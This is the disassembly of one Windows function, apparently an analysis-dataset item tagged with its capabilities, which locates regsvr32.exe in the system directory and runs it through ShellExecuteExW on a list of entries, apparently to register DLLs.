Function at 0x410440
Capabilities:
Create process on windows
Get common file path

Disassembly:
jmp 0x410440
sub esp, 0xeb4
mov eax, dword [0x44e1b4]
xor eax, esp
mov dword [esp + 0xeb0], eax
mov eax, dword [esp + 0xebc]
push ebx
mov ebx, dword [esp + 0xebc]
push esi
push edi
mov ecx, 6
mov esi, str.regsvr32.exe
lea edi, [esp + 0x68]
rep movsd dword es:[edi], dword [esi]
push 0x3c
lea ecx, [esp + 0x1c]
push 0
push ecx
mov dword [esp + 0x20], eax
movsw word es:[edi], word [esi]
call fcn.0041be10
push 0x208
lea edx, [esp + 0x94]
push 0
push edx
call fcn.0041be10
add esp, 0x18
test ebx, ebx
jne 0x41051a
lea eax, [esp + 0xaac]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x6a0]
push edx
lea eax, [esp + 0xab4]
push 0x4781b0
push eax
mov dword [esp + 0x1c], 0x104
call fcn.00401221
add esp, 0x10
test eax, eax
je 0x410500
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x6a0]
push edx
call fcn.004010e1
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x410527
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0xeb0]
xor ecx, esp
call fcn.0041bdf4
add esp, 0xeb4
ret
mov eax, dword [esp + 0xecc]
mov dword [esp + 0x10], eax
jmp 0x41052b
mov eax, dword [esp + 0x10]
push ebp
push str.FILEREGI64
push eax
push ebx
mov edi, eax
call fcn.0040120d
add esp, 0xc
test eax, eax
je 0x4106b5
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
jmp 0x410550
push 0x208
lea ecx, [esp + 0x49c]
push ecx
push eax
call fcn.004011fe
mov ecx, dword [0x436214]
mov edx, dword [str.SysWOW64]
mov esi, eax
mov eax, dword [0x436210]
add esp, 0xc
mov dword [esp + 0x60], ecx
mov dword [esp + 0x58], edx
mov edx, dword [0x436218]
mov dword [esp + 0x5c], eax
mov ax, word [0x43621c]
push 0x104
lea ecx, [esp + 0x294]
push ecx
mov dword [esp + 0x6c], edx
mov word [esp + 0x70], ax
mov dword [esp + 0x18], 0x104
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp eax, 0x104
jg 0x4106d3
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x8c]
push eax
lea ecx, [esp + 0x60]
push ecx
lea edx, [esp + 0x29c]
push edx
call fcn.00401221
add esp, 0x10
test eax, eax
je 0x4106d3
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x8ac]
push ecx
lea edx, [esp + 0x74]
push edx
lea eax, [esp + 0x94]
push eax
mov dword [esp + 0x20], 0x104
call fcn.00401221
add esp, 0x10
test eax, eax
je 0x4106d3
lea ecx, [esp + 0x498]
push ecx
push 0x436204
lea edx, [esp + 0xcc0]
push str._s__s
push edx
call ebp
mov eax, dword [esp + 0x28]
mov dword [esp + 0x34], eax
add esp, 0x10
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x8a8]
lea edx, [esp + 0xcb8]
push eax
mov dword [esp + 0x20], 0x3c
mov dword [esp + 0x3c], 1
mov dword [esp + 0x24], 0x40
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x410687
cmp dword [esp + 0x3c], 0x20
jle 0x4106d3
mov ecx, dword [esp + 0x54]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, esi
sub edx, ebx
sar edx, 1
mov eax, edi
push str.FILEREGI64
sub eax, edx
push eax
push esi
call fcn.0040120d
add esp, 0xc
test eax, eax
jne 0x410550
mov eax, 1
mov ecx, dword [esp + 0xec0]
pop ebp
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041bdf4
add esp, 0xeb4
ret
xor eax, eax
jmp 0x4106ba